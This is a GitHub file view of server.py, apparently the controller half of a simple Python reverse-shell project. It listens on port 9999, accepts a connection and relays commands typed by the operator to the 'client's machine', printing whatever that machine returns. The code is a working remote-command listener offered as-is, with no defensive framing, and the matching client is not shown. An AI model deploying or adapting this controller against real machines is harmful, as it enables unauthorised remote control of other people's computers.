Repository navigation
Expand file tree
/
Copy pathserver.py
More file actions
70 lines (55 loc) · 1.5 KB
/
Copy pathserver.py
File metadata and controls
70 lines (55 loc) · 1.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import socket, sys#, threading, time
#from queue import Queue
"""
NUMBER_OF_THREADS = 2
JOB_NUMBER = [1, 2]
queue = Queue()
all_connections = []
all_address = []
"""
#Create a socket (connecting two or more computers)
def socket_creation():
try:
global host
global port
global s
host = ""
port = 9999
s = socket.socket()
except socket.error as msg:
print("Socket creation error: " + str(msg))
#binding the socket and listening for connections
def bind_socket():
try:
global host
global port
global s
print("Binding the port to " + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print("Socket, Binding error " + str(msg) + "\n" + "Retrying....")
bind_socket()
#Establish conections with a client (socket must be listening)
def socket_accept():
conn, address = s.accept()
print("Connection has been established " + address[0] + " | Port" + str(address[1]))
send_commands(conn)
conn.close()
#Send commands to client's machine
def send_commands(conn):
while True:
cmd = input()
if cmd == 'quit':
conn.close()
s.close()
sys.exit()
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
client_response = str(conn.recv(1024), "utf-8")
print(client_response, end="")
def main():
socket_creation()
bind_socket()
socket_accept()
main()